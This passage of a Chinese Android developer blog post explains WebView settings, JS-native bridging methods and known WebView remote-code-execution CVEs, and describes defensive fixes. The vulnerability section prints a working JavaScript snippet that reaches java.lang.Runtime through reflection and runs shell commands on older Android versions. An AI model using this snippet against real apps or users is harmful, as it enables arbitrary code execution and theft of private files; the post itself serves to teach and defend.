這篇博客主要來介紹 WebView 的相關(guān)使用方法,常見的幾個漏洞,開發(fā)中可能遇到的坑和最后解決相應(yīng)漏洞的源碼,以及針對該源碼的解析。
轉(zhuǎn)載請注明出處:http://blog.csdn.net/self_study/article/details/54928371。
對技術(shù)感興趣的同鞋加群 544645972 一起交流。
Android Hybrid 和 WebView 解析
現(xiàn)在市面上的 APP 根據(jù)類型大致可以分為 3 類:Native APP、Web APP 和 Hybrid APP,而 Hybrid APP 兼具 “Native APP 良好用戶交互體驗的優(yōu)勢”和 “Web APP 跨平臺開發(fā)的優(yōu)勢”,現(xiàn)在很多的主流應(yīng)用也是使用 Hybrid 模式開發(fā)的。
Hybrid 的優(yōu)勢與原生的體驗差距
Hybrid 的優(yōu)勢
為什么要使用 Hybrid 開發(fā)呢,這就要提到 native 開發(fā)的限制:
1.客戶端發(fā)板周期長
眾所周知,客戶端的發(fā)板周期在正常情況下比較長,就算是創(chuàng)業(yè)公司的迭代也在一到兩個星期一次,大公司的迭代周期一般都在月這個數(shù)量級別上,而且 Android 還好,iOS 的審核就算變短了也有幾天,而且可能會有審核不通過的意外情況出現(xiàn),所謂為了應(yīng)對業(yè)務(wù)的快速發(fā)展,很多業(yè)務(wù)比如一些活動頁面就可以使用 H5 來進行開發(fā)。
2.客戶端大小體積受限
如果所有的東西都使用 native 開發(fā),比如上面提到的活動頁面,就會造成大量的資源文件要加入到 APK 中,這就造成 APK 大小增加,而且有的活動頁面更新很快,造成資源文件可能只會使用一個版本,如果不及時清理,就會造成資源文件的殘留。
3.web 頁面的體驗問題
使用純 Web 開發(fā),比以前迭代快速很多,但是從某種程度上來說,還是不如原生頁面的交互體驗好;
4.無法跨平臺
一般情況下,同一樣的頁面在 android 和 iOS 上需要寫兩份不同的代碼,但是現(xiàn)在只需要寫一份即可,Hybrid 具有跨平臺的優(yōu)勢。
所以綜上這兩種方式單獨處理都不是特別好,考慮到發(fā)版周期不定,而且體驗交互上也不能很差,所以就把兩種方式綜合起來,讓終端和前端共同開發(fā)一個 APP,這樣一些迭代很穩(wěn)定的頁面就可以使用原生,增加體驗性;一些迭代很快速的頁面就可以使用 H5,讓兩種優(yōu)點結(jié)合起來,彌補原來單個開發(fā)模式的缺點。
H5 與 Native 的體驗差距
H5 和 Native 的體驗差距主要在兩個方面:
1.頁面渲染瓶頸
第一個是前端頁面代碼渲染,受限于 JS 的解析效率,以及手機硬件設(shè)備的一些性能,所以從這個角度來說,我們應(yīng)用開發(fā)者是很難從根本上解決這個問題的;
2.資源加載緩慢
第二個方面是 H5 頁面是從服務(wù)器上下發(fā)的,客戶端的頁面在內(nèi)存里面,在頁面加載時間上面,根據(jù)網(wǎng)絡(luò)狀況的不同,H5 頁面的體驗和 Native 在很多情況下相比差距還是不小的,但是這種問題從某種程度上來說也是可以彌補的,比如說我們可以做一些資源預(yù)加載的方案,在資源預(yù)加載方面,其實也有很多種方式,下面主要列舉了一些:<ul><li>第一種方式是使用 WebView 自身的緩存機制:</li>如果我們在 APP 里面訪問一個頁面,短時間內(nèi)再次訪問這個頁面的時候,就會感覺到第二次打開的時候順暢很多,加載速度比第一次的時間要短,這個就是因為 WebView 自身內(nèi)部會做一些緩存,只要打開過的資源,他都會試著緩存到本地,第二次需要訪問的時候他直接從本地讀取,但是這個讀取其實是不太穩(wěn)定的東西,關(guān)掉之后,或者說這種緩存失效之后,系統(tǒng)會自動把它清除,我們沒辦法進行控制?;谶@個 WebView 自身的緩存,有一種資源預(yù)加載的方案就是,我們在應(yīng)用啟動的時候可以開一個像素的 WebView ,事先去訪問一下我們常用的資源,后續(xù)打開頁面的時候如果再用到這些資源他就可以從本地獲取到,頁面加載的時間會短一些。<li>第二種方案是,我們自己去構(gòu)建,自己管理緩存:</li>把這些需要預(yù)加載的資源放在 APP 里面,他可能是預(yù)先放進去的,也可能是后續(xù)下載的,問題在于前端這些頁面怎么去緩存,兩個方案,第一種是前端可以在 H5 打包的時候把里面的資源 URL 進行替換,這樣可以直接訪問本地的地址;第二種是客戶端可以攔截這些網(wǎng)頁發(fā)出的所有請求做替換:
這個是美團使用的預(yù)加載方案(詳情請看:美團大眾點評 Hybrid 化建設(shè)),歸屬于第二種加載方案,每當 WebView 發(fā)起資源請求的時候,我們會攔截這些資源的請求,去本地檢查一下我們這些靜態(tài)資源本地離線包有沒有。針對本地的緩存文件我們有些策略能夠及時的去更新它,為了安全考慮,也需要同時做一些預(yù)下載和安全包的加密工作。預(yù)下載有以下幾點優(yōu)勢:<ol><li>我們攔截了 WebView 里面發(fā)出的所有的請求,但是并沒有替換里面的前端應(yīng)用的任何代碼,前端這套頁面代碼可以在 APP 內(nèi),或者其他的 APP 里面都可以直接訪問,他不需要為我們 APP 做定制化的東西;</li><li>這些 URL 請求,他會直接帶上先前用戶操作所留下的 Cookie ,因為我們沒有更改資源原始 URL 地址;</li><li>整個前端在用離線包和緩存文件的時候是完全無感知的,前端只用管寫一個自己的頁面,客戶端會幫他處理好這樣一些靜態(tài)資源預(yù)加載的問題,有這個離線包的話,加載速度會變快很多,特別是在弱網(wǎng)情況下,沒有這些離線包加載速度會慢一些。而且如果本地離線包的版本不能跟 H5 匹配的話,H5 頁面也不會發(fā)生什么問題。</li></ol> 實際資源預(yù)下載也確實能夠有效的增加頁面的加載速度,具體的對比可以去看美團的那片文章。</ul> 那么什么地方需要使用 Native 開發(fā),什么地方需要使用 H5 開發(fā)呢:一般來說 Hybrid 是用在一些快速迭代試錯的地方,另外一些非主要產(chǎn)品的頁面,也可以使用 Hybrid 去做;但是如果是一些很重要的流程,使用頻率很高,特別核心的功能,還是應(yīng)該使用 Native 開發(fā),讓用戶得到一個極致的產(chǎn)品體驗。
WebView 詳細介紹
我們來看看 Google 官網(wǎng)關(guān)于 WebView 的介紹:
A View that displays web pages. This class is the basis upon which you can roll your own web browser
or simply display some online content within your Activity. It uses the WebKit rendering engine
to display web pages and includes methods to navigate forward and backward through a history,
zoom in and out, perform text searches and more.
可以看到 WebView 是一個顯示網(wǎng)頁的控件,并且可以簡單的顯示一些在線的內(nèi)容,并且基于 WebKit 內(nèi)核,在 Android4.4(API Level 19) 引入了一個基于 Chromium 的新版本 WebView ,這讓我們的 WebView 能支持 HTML5 和 CSS3 以及 Javascript,有一點需要注意的是由于 WebView 的升級,對于我們的程序也帶來了一些影響,如果我們的 targetSdkVersion 設(shè)置的是 18 或者更低, single and narrow column 和 default zoom levels 不再支持。Android4.4 之后有一個特別方便的地方是可以通過 setWebContentDebuggingEnabled() 方法讓我們的程序可以進行遠程桌面調(diào)試。
WebView 加載頁面
WebView 有四個用來加載頁面的方法:<ul><li>loadUrl (String url)</li><li>[loadUrl (String url, Map<String, String> additionalHttpHeaders)](https://developer.android.com/reference/android/webkit/WebView.html#loadUrl(java.lang.String, java.util.Map<java.lang.String, java.lang.String))</li><li>[loadData(String data, String mimeType, String encoding)](https://developer.android.com/reference/android/webkit/WebView.html#loadData(java.lang.String, java.lang.String, java.lang.String))</li><li>[loadDataWithBaseURL(String baseUrl, String data, String mimeType, String encoding, String historyUrl)](https://developer.android.com/reference/android/webkit/WebView.html#loadDataWithBaseURL(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String))</li></ul> 使用起來較為簡單,loadData 方法會有一些坑,在下面的內(nèi)容會介紹到。
WebView 常見設(shè)置
使用 WebView 的時候,一般都會對其進行一些設(shè)置,我們來看看常見的設(shè)置:
WebSettings webSettings = webView.getSettings();
//設(shè)置了這個屬性后我們才能在 WebView 里與我們的 Js 代碼進行交互,對于 WebApp 是非常重要的,默認是 false,
//因此我們需要設(shè)置為 true,這個本身會有漏洞,具體的下面我會講到
webSettings.setJavaScriptEnabled(true);
//設(shè)置 JS 是否可以打開 WebView 新窗口
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
//WebView 是否支持多窗口,如果設(shè)置為 true,需要重寫
//WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函數(shù),默認為 false
webSettings.setSupportMultipleWindows(true);
//這個屬性用來設(shè)置 WebView 是否能夠加載圖片資源,需要注意的是,這個方法會控制所有圖片,包括那些使用 data URI 協(xié)議嵌入
//的圖片。使用 setBlockNetworkImage(boolean) 方法來控制僅僅加載使用網(wǎng)絡(luò) URI 協(xié)議的圖片。需要提到的一點是如果這
//個設(shè)置從 false 變?yōu)?true 之后,所有被內(nèi)容引用的正在顯示的 WebView 圖片資源都會自動加載,該標識默認值為 true。
webSettings.setLoadsImagesAutomatically(false);
//標識是否加載網(wǎng)絡(luò)上的圖片(使用 http 或者 https 域名的資源),需要注意的是如果 getLoadsImagesAutomatically()
//不返回 true,這個標識將沒有作用。這個標識和上面的標識會互相影響。
webSettings.setBlockNetworkImage(true);
//顯示W(wǎng)ebView提供的縮放控件
webSettings.setDisplayZoomControls(true);
webSettings.setBuiltInZoomControls(true);
//設(shè)置是否啟動 WebView API,默認值為 false
webSettings.setDatabaseEnabled(true);
//打開 WebView 的 storage 功能,這樣 JS 的 localStorage,sessionStorage 對象才可以使用
webSettings.setDomStorageEnabled(true);
//打開 WebView 的 LBS 功能,這樣 JS 的 geolocation 對象才可以使用
webSettings.setGeolocationEnabled(true);
webSettings.setGeolocationDatabasePath("");
//設(shè)置是否打開 WebView 表單數(shù)據(jù)的保存功能
webSettings.setSaveFormData(true);
//設(shè)置 WebView 的默認 userAgent 字符串
webSettings.setUserAgentString("");
//設(shè)置是否 WebView 支持 “viewport” 的 HTML meta tag,這個標識是用來屏幕自適應(yīng)的,當這個標識設(shè)置為 false 時,
//頁面布局的寬度被一直設(shè)置為 CSS 中控制的 WebView 的寬度;如果設(shè)置為 true 并且頁面含有 viewport meta tag,那么
//被這個 tag 聲明的寬度將會被使用,如果頁面沒有這個 tag 或者沒有提供一個寬度,那么一個寬型 viewport 將會被使用。
webSettings.setUseWideViewPort(false);
//設(shè)置 WebView 的字體,可以通過這個函數(shù),改變 WebView 的字體,默認字體為 "sans-serif"
webSettings.setStandardFontFamily("");
//設(shè)置 WebView 字體的大小,默認大小為 16
webSettings.setDefaultFontSize(20);
//設(shè)置 WebView 支持的最小字體大小,默認為 8
webSettings.setMinimumFontSize(12);
//設(shè)置頁面是否支持縮放
webSettings.setSupportZoom(true);
//設(shè)置文本的縮放倍數(shù),默認為 100
webSettings.setTextZoom(2);
然后還有最常用的 WebViewClient 和 WebChromeClient,WebViewClient主要輔助WebView執(zhí)行處理各種響應(yīng)請求事件的,比如:
<ul><li>onLoadResource</li><li>onPageStart</li><li>onPageFinish</li><li>onReceiveError</li><li>onReceivedHttpAuthRequest</li><li>shouldOverrideUrlLoading</li></ul>WebChromeClient 主要輔助 WebView 處理J avaScript 的對話框、網(wǎng)站 Logo、網(wǎng)站 title、load 進度等處理:<ul><li>onCloseWindow(關(guān)閉WebView)</li><li>onCreateWindow</li><li>onJsAlert</li><li>onJsPrompt</li><li>onJsConfirm</li><li>onProgressChanged</li><li>onReceivedIcon</li><li>onReceivedTitle</li><li>onShowCustomView</li></ul>WebView 只是用來處理一些 html 的頁面內(nèi)容,只用 WebViewClient 就行了,如果需要更豐富的處理效果,比如 JS、進度條等,就要用到 WebChromeClient,我們接下來為了處理在特定版本之下的 js 漏洞問題,就需要用到 WebChromeClient。
接著還有 WebView 的幾種緩存模式:<ul><li> LOAD_CACHE_ONLY </li>不使用網(wǎng)絡(luò),只讀取本地緩存數(shù)據(jù);<li> LOAD_DEFAULT </li>根據(jù) cache-control 決定是否從網(wǎng)絡(luò)上取數(shù)據(jù);<li> LOAD_CACHE_NORMAL </li>API level 17 中已經(jīng)廢棄, 從 API level 11 開始作用同 LOAD_DEFAULT 模式 ;<li> LOAD_NO_CACHE </li>不使用緩存,只從網(wǎng)絡(luò)獲取數(shù)據(jù);<li> LOAD_CACHE_ELSE_NETWORK </li>只要本地有,無論是否過期,或者 no-cache,都使用緩存中的數(shù)據(jù)。</ul> www.baidu.com 的 cache-control 為 no-cache,在模式 LOAD_DEFAULT 下,無論如何都會從網(wǎng)絡(luò)上取數(shù)據(jù),如果沒有網(wǎng)絡(luò),就會出現(xiàn)錯誤頁面;在 LOAD_CACHE_ELSE_NETWORK 模式下,無論是否有網(wǎng),只要本地有緩存,都會加載緩存。本地沒有緩存時才從網(wǎng)絡(luò)上獲取,這個和 Http 緩存一致,我不在過多介紹,如果你想自定義緩存策略和時間,可以嘗試下,volley 就是使用了 http 定義的緩存時間。
清空緩存和清空歷史記錄,CacheManager 來處理 webview 緩存相關(guān):mWebView.clearCache(true);;清空歷史記錄mWebview.clearHistory();,這個方法要在 onPageFinished() 的方法之后調(diào)用。
WebView 與 native 的交互
使用 Hybrid 開發(fā)的 APP 基本都需要 Native 和 web 頁面的 JS 進行交互,下面介紹一下交互的方式。
js 調(diào)用 native
如何讓 web 頁面調(diào)用 native 的代碼呢,有三種方式:
<font size=4>第一種方式:通過 addJavascriptInterface 方法進行添加對象映射</font>
這種是使用最多的方式了,首先第一步我們需要設(shè)置一個屬性:
mWebView.getSettings().setJavaScriptEnabled(true);
這個函數(shù)會有一個警告,因為在特定的版本之下會有非常危險的漏洞,我們下面將會著重介紹到,設(shè)置完這個屬性之后,Native 需要定義一個類:
public class JSObject {
private Context mContext;
public JSObject(Context context) {
mContext = context;
}
@JavascriptInterface
public String showToast(String text) {
Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
return "success";
}
}
...
//特定版本下會存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");
需要注意的是在 API17 版本之后,需要在被調(diào)用的地方加上 @addJavascriptInterface 約束注解,因為不加上注解的方法是沒有辦法被調(diào)用的,JS 代碼也很簡單:
function showToast(){
var result = myObj.showToast("我是來自web的Toast");
}
可以看到,這種方式的好處在于使用簡單明了,本地和 JS 的約定也很簡單,就是對象名稱和方法名稱約定好即可,缺點就是下面要提到的漏洞問題。
<font size=4>第二種方式:利用 WebViewClient 接口回調(diào)方法攔截 url</font>
這種方式其實實現(xiàn)也很簡單,使用的頻次也很高,上面我們介紹到了 WebViewClient ,其中有個回調(diào)接口 [shouldOverrideUrlLoading (WebView view, String url)](https://developer.android.com/reference/android/webkit/WebViewClient.html#shouldOverrideUrlLoading(android.webkit.WebView, java.lang.String)) ,我們就是利用這個攔截 url,然后解析這個 url 的協(xié)議,如果發(fā)現(xiàn)是我們預(yù)先約定好的協(xié)議就開始解析參數(shù),執(zhí)行相應(yīng)的邏輯,我們先來看看這個函數(shù)的介紹:
Give the host application a chance to take over the control when a new url is about to be loaded in
the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager
to choose the proper handler for the url. If WebViewClient is provided, return true means the host
application handles the url, while return false means the current WebView handles the url. This
method is not called for requests using the POST "method".
注意這個方法在 API24 版本已經(jīng)廢棄了,需要使用 [shouldOverrideUrlLoading (WebView view, WebResourceRequest request)](https://developer.android.com/reference/android/webkit/WebViewClient.html#shouldOverrideUrlLoading(android.webkit.WebView, android.webkit.WebResourceRequest)) 替代,使用方法很類似,我們這里就使用 [shouldOverrideUrlLoading (WebView view, String url)](https://developer.android.com/reference/android/webkit/WebViewClient.html#shouldOverrideUrlLoading(android.webkit.WebView, java.lang.String)) 方法來介紹一下:
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//假定傳入進來的 url = "js://openActivity?arg1=111&arg2=222",代表需要打開本地頁面,并且?guī)胂鄳?yīng)的參數(shù)
Uri uri = Uri.parse(url);
String scheme = uri.getScheme();
//如果 scheme 為 js,代表為預(yù)先約定的 js 協(xié)議
if (scheme.equals("js")) {
//如果 authority 為 openActivity,代表 web 需要打開一個本地的頁面
if (uri.getAuthority().equals("openActivity")) {
//解析 web 頁面帶過來的相關(guān)參數(shù)
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
for (String name : collection) {
params.put(name, uri.getQueryParameter(name));
}
Intent intent = new Intent(getContext(), MainActivity.class);
intent.putExtra("params", params);
getContext().startActivity(intent);
}
//代表應(yīng)用內(nèi)部處理完成
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
代碼很簡單,這個方法可以攔截 WebView 中加載 url 的過程,得到對應(yīng)的 url,我們就可以通過這個方法,與網(wǎng)頁約定好一個協(xié)議,如果匹配,執(zhí)行相應(yīng)操作,我們看一下 JS 的代碼:
function openActivity(){
document.location = "js://openActivity?arg1=111&arg2=222";
}
這個代碼執(zhí)行之后,就會觸發(fā)本地的 shouldOverrideUrlLoading 方法,然后進行參數(shù)解析,調(diào)用指定方法。這個方式不會存在第一種提到的漏洞問題,但是它也有一個很繁瑣的地方是,如果 web 端想要得到方法的返回值,只能通過 WebView 的 loadUrl 方法去執(zhí)行 JS 方法把返回值傳遞回去,相關(guān)的代碼如下:
//java
mWebView.loadUrl("javascript:returnResult(" + result + ")");
//javascript
function returnResult(result){
alert("result is" + result);
}
所以說第二種方式在返回值方面還是很繁瑣的,但是在不需要返回值的情況下,比如打開 Native 頁面,還是很合適的,制定好相應(yīng)的協(xié)議,就能夠讓 web 端具有打開所有本地頁面的能力了。
<font size=4>第三種方式:利用 WebChromeClient 回調(diào)接口的三個方法攔截消息</font>
這個方法的原理和第二種方式原理一樣,都是攔截相關(guān)接口,只是攔截的接口不一樣:
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
return super.onJsAlert(view, url, message, result);
}
@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
return super.onJsConfirm(view, url, message, result);
}
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
//假定傳入進來的 message = "js://openActivity?arg1=111&arg2=222",代表需要打開本地頁面,并且?guī)胂鄳?yīng)的參數(shù)
Uri uri = Uri.parse(message);
String scheme = uri.getScheme();
if (scheme.equals("js")) {
if (uri.getAuthority().equals("openActivity")) {
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
for (String name : collection) {
params.put(name, uri.getQueryParameter(name));
}
Intent intent = new Intent(getContext(), MainActivity.class);
intent.putExtra("params", params);
getContext().startActivity(intent);
//代表應(yīng)用內(nèi)部處理完成
result.confirm("success");
}
return true;
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}
和 WebViewClient 一樣,這次添加的是 WebChromeClient 接口,可以攔截 JS 中的幾個提示方法,也就是幾種樣式的對話框,在 JS 中有三個常用的對話框方法:<ul><li> onJsAlert 方法是彈出警告框,一般情況下在 Android 中為 Toast,在文本里面加入\n就可以換行;</li><li> onJsConfirm 彈出確認框,會返回布爾值,通過這個值可以判斷點擊時確認還是取消,true表示點擊了確認,false表示點擊了取消;</li><li> onJsPrompt 彈出輸入框,點擊確認返回輸入框中的值,點擊取消返回 null。</li></ul>但是這三種對話框都是可以本地攔截到的,所以可以從這里去做一些更改,攔截這些方法,得到他們的內(nèi)容,進行解析,比如如果是 JS 的協(xié)議,則說明為內(nèi)部協(xié)議,進行下一步解析然后進行相關(guān)的操作即可,prompt 方法調(diào)用如下所示:
function clickprompt(){
var result=prompt("js://openActivity?arg1=111&arg2=222");
alert("open activity " + result);
}
這里需要注意的是 prompt 里面的內(nèi)容是通過 message 傳遞過來的,并不是第二個參數(shù)的 url,返回值是通過 JsPromptResult 對象傳遞。為什么要攔截 onJsPrompt 方法,而不是攔截其他的兩個方法,這個從某種意義上來說都是可行的,但是如果需要返回值給 web 端的話就不行了,因為 onJsAlert 是不能返回值的,而 onJsConfirm 只能夠返回確定或者取消兩個值,只有 onJsPrompt 方法是可以返回字符串類型的值,操作最全面方便。
<font size=4>以上三種方案的總結(jié)和對比</font>
以上三種方案都是可行的,在這里總結(jié)一下<ul><li>第一種方式:</li>是現(xiàn)在目前最普遍的用法,方便簡潔,但是唯一的不足是在 4.2 系統(tǒng)以下存在漏洞問題;<li>第二種方式:</li>通過攔截 url 并解析,如果是已經(jīng)約定好的協(xié)議則進行相應(yīng)規(guī)定好的操作,缺點就是協(xié)議的約束需要記錄一個規(guī)范的文檔,而且從 Native 層往 Web 層傳遞值比較繁瑣,優(yōu)點就是不會存在漏洞,iOS7 之下的版本就是使用的這種方式。<li>第三種方式:</li>和第二種方式的思想其實是類似的,只是攔截的方法變了,這里攔截了 JS 中的三種對話框方法,而這三種對話框方法的區(qū)別就在于返回值問題,alert 對話框沒有返回值,confirm 的對話框方法只有兩種狀態(tài)的返回值,prompt 對話框方法可以返回任意類型的返回值,缺點就是協(xié)議的制定比較麻煩,需要記錄詳細的文檔,但是不會存在第二種方法的漏洞問題。</ul>
native 調(diào)用 js
<font size=4>第一種方式</font>
native 調(diào)用 js 的方法上面已經(jīng)介紹到了,方法為:
//java
mWebView.loadUrl("javascript:show(" + result + ")");
//javascript
<script type="text/javascript">
function show(result){
alert("result"=result);
return "success";
}
</script>
需要注意的是名字一定要對應(yīng)上,要不然是調(diào)用不成功的,而且還有一點是 <font color="red">JS 的調(diào)用一定要在 onPageFinished 函數(shù)回調(diào)之后才能調(diào)用,要不然也是會失敗的</font>。
<font size=4>第二種方式</font>
如果現(xiàn)在有需求,我們要得到一個 Native 調(diào)用 Web 的回調(diào)怎么辦,Google 在 Android4.4 為我們新增加了一個新方法,這個方法比 loadUrl 方法更加方便簡潔,而且比 loadUrl 效率更高,因為 loadUrl 的執(zhí)行會造成頁面刷新一次,這個方法不會,因為這個方法是在 4.4 版本才引入的,所以我們使用的時候需要添加版本的判斷:
final int version = Build.VERSION.SDK_INT;
if (version < 18) {
mWebView.loadUrl(jsStr);
} else {
mWebView.evaluateJavascript(jsStr, new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
//此處為 js 返回的結(jié)果
}
});
}
<font size=4>兩種方式的對比</font>
一般最常使用的就是第一種方法,但是第一種方法獲取返回的值比較麻煩,而第二種方法由于是在 4.4 版本引入的,所以局限性比較大。
WebView 常見漏洞
WebView 的漏洞也是不少,列舉一些常見的漏洞,實時更新,如果有其他的常見漏洞,知會一下我~~
WebView 任意代碼執(zhí)行漏洞
已知的 WebView 任意代碼執(zhí)行漏洞有 4 個,較早被公布是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口會引起遠程代碼執(zhí)行漏洞。接著是 CVE-2013-4710,針對某些特定機型會存在 addJavascriptInterface API 引起的遠程代碼執(zhí)行漏洞。之后是 CVE-2014-1939 爆出 WebView 中內(nèi)置導(dǎo)出的 “searchBoxJavaBridge_” Java Object 可能被利用,實現(xiàn)遠程任意代碼。再后來是 CVE-2014-7224,類似于 CVE-2014-1939 ,WebView 內(nèi)置導(dǎo)出 “accessibility” 和 “accessibilityTraversal” 兩個 Java Object 接口,可被利用實現(xiàn)遠程任意代碼執(zhí)行。
一般情況下,WebView 使用 Javascript 腳本的代碼如下所示:
WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”);
mWebView.loadUrl(url);
CVE-2012-6636 和 CVE-2013-4710
Android 系統(tǒng)為了方便 APP 中 Java 代碼和網(wǎng)頁中的 Javascript 腳本交互,在 WebView 控件中實現(xiàn)了 addJavascriptInterface 接口,如上面的代碼所示,我們來看一下這個方法的官方描述:
<ul><li>
This method can be used to allow JavaScript to control the host application. This is a powerful feature,
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called
only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection
to access an injected object's public fields. Use of this method in a WebView containing untrusted
content could allow an attacker to manipulate the host application in unintended ways, executing Java
code with the permissions of the host application. Use extreme care when using this method in a WebView
which could contain untrusted content.
</li><li>
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore
required to maintain thread safety.The Java object's fields are not accessible.
</li><li>
For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are
enumerable from JavaScript.
</li></ul> 可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用這個方法是不安全的,網(wǎng)頁中的JS腳本可以利用接口 “testjs” 調(diào)用 App 中的 Java 代碼,而 Java 對象繼承關(guān)系會導(dǎo)致很多 Public 的函數(shù)及 getClass 函數(shù)都可以在JS中被訪問,結(jié)合 Java 的反射機制,攻擊者還可以獲得系統(tǒng)類的函數(shù),進而可以進行任意代碼執(zhí)行,首先第一步 WebView 添加 Javascript 對象,并且添加一些權(quán)限,比如想要獲取 SD 卡上面的信息就需要 android.permission.WRITE_EXTERNAL_STORAGE ;第二步 JS 中可以遍歷 window 對象,找到存在 getClass 方法的對象,再通過反射的機制,得到 Runtime 對象,然后就可以調(diào)用靜態(tài)方法來執(zhí)行一些命令,比如訪問文件的命令;第三步就是從執(zhí)行命令后返回的輸入流中得到字符串,比如執(zhí)行完訪問文件的命令之后,就可以得到文件名的信息了,有很嚴重暴露隱私的危險,核心 JS 代碼:
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
所以當一些 APP 通過掃描二維碼打開一個外部網(wǎng)頁的時候,就可以執(zhí)行這段 js 代碼,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中瀏覽器 APP 成為重災(zāi)區(qū),但截至目前仍有很多 APP 中依然存在此漏洞,與以往不同的只是攻擊入口發(fā)生了一定的變化。另外一些小廠商的 APP 開發(fā)團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用 addJavascriptInterface 接口,明目張膽踩雷。
出于安全考慮,Google 在 API17 版本中就規(guī)定能夠被調(diào)用的函數(shù)必須以 @JavascriptInterface 進行注解,理論上如果 APP 依賴的 API 為 17(Android 4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17 依然受影響,所以危害性到目前為止依舊不小。關(guān)于所有 Android 機型的占比,可以看看 Google 的 Dashboards:
截止 2017/1/9 日,可以看到 android5.0 之下的手機依舊不少,需要重視。
<font size=4>漏洞的解決</font>
但是這個漏洞也是有解決方案的,上面的很多地方也都提到了這個漏洞,那么這個漏洞怎么去解決呢?這就需要用到 onJsPrompt 這個方法了,這里先給出解決這個漏洞的具體步驟,在下面的源碼部分有修復(fù)這個漏洞的詳細代碼:<ul><li>繼承 WebView ,重寫 addJavascriptInterface 方法,然后在內(nèi)部自己維護一個對象映射關(guān)系的 Map,當調(diào)用 addJavascriptInterface 方法,將需要添加的 JS 接口放入這個 Map 中;</li><li>每次當 WebView 加載頁面的時候加載一段本地的 JS 代碼:
javascript:(function JsAddJavascriptInterface_(){
if(typeof(window.XXX_js_interface_name)!='undefined'){
console.log('window.XXX_js_interface_name is exist!!');
}else{
window.XXX_js_interface_name={
XXX:function(arg0,arg1){
return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
},
};
}
})()
這段 JS 代碼定義了注入的格式,其中的 XXX 為注入對象的方法名字,終端和 web 端只要按照定義的格式去互相調(diào)用即可,如果這個對象有多個方法,則會注冊多個 window.XXX_js_interface_name 塊;</li><li>然后在 prompt 中返回我們約定的字符串,當然這個字符串也可以自己重新定義,它包含了特定的標識符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,參數(shù),對象名等;</li><li>當 JS 調(diào)用 XXX 方法的時候,就會調(diào)用到終端 Native 層的 OnJsPrompt 方法中,我們再解析出方法名,參數(shù),對象名等,解析出來之后進行相應(yīng)的處理,同時返回值也可以通過 prompt 返回回去;</li><li> window.XXX_js_interface_name 代表在 window 上聲明了一個對象,聲明的方式是:方法名:function(參數(shù)1,參數(shù)2)。</li></ul>還有一個問題是什么時候加載這段 JS 呢,在 WebView 正常加載 URL 的時候去加載它,但是會發(fā)現(xiàn)當 WebView 跳轉(zhuǎn)到下一個頁面時,之前加載的 JS 可能就已經(jīng)無效了,需要再次加載,所以通常需要在一下幾個方法中加載 JS,這幾個方法分別是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。
通過這幾步,就可以簡單的修復(fù)漏洞問題,但是還需要注意幾個問題,需要過濾掉 Object 類的方法,由于通過反射的形式來得到指定對象的方法,所以基類的方法也可以得到,最頂層的基類就是 Object,為了不把 getClass 等方法注入到 JS 中,我們需要把 Object 的共有方法過濾掉,需要過濾的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,?“toString”,“wait”,具體的代碼實現(xiàn)可以看看下面的源碼。
CVE-2014-1939
在 2014 年發(fā)現(xiàn)在 Android4.4 以下的系統(tǒng)中,webkit 中默認內(nèi)置了 “searchBoxJavaBridge_”,代碼位于 “java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執(zhí)行的威脅,所以就算沒有通過 addJavascriptInterface 加入任何的對象,系統(tǒng)也會加入一個 searchBoxJavaBridge_ 對象,解決辦法就是通過 removeJavascriptInterface 方法將對象刪除。
CVE-2014-7224
在 2014 年,研究人員 Daoyuan Wu 和 Rocky Chang 發(fā)現(xiàn),當系統(tǒng)輔助功能服務(wù)被開啟時,在 Android4.4 以下的系統(tǒng)中,由系統(tǒng)提供的 WebView 組件都默認導(dǎo)出 ”accessibility” 和 ”accessibilityTraversal” 這兩個接口,代碼位于 “android/webkit/AccessibilityInjector.java”,這兩個接口同樣存在遠程任意代碼執(zhí)行的威脅,同樣的需要通過 removeJavascriptInterface 方法將這兩個對象刪除。
WebView 密碼明文存儲漏洞
